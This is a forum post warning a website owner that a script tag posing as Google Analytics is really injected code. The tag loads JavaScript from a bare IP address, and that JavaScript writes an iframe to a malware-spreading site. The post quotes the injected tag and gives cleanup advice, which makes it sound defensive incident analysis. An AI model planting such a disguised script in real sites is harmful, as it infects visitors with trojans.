its not google analytics
its a crack. more info when i have it, but the code its writing to your site is:
HTML Code:
"<script sr?='google-analytics.com/ga.js' src='http://91.212.65.148/ga.js' type='text/javascript'></script>"
--------------- Added [DATE]1244899159[/DATE] at [TIME]1244899159[/TIME] ---------------
On further analisis, the javascript file it downloades writes an iframe to the site, the iframe opens a site which is known for installing malware and trojans. such behaviour will make it look like the trojan came from your website.
You need to warn your visitors, stop that code from appearing and change any admincp, hosting account etc passwords asap. Also, scan your own machine for trojans etc.
You're visitors have probably been saved by the fact that whoever added the code forgot to escape it properly, causing the parse error. If I were you, i'd check ALL your files to see if they managed to get the code right in one of the other files. (vbulletin will do this for you under matanance for its own files)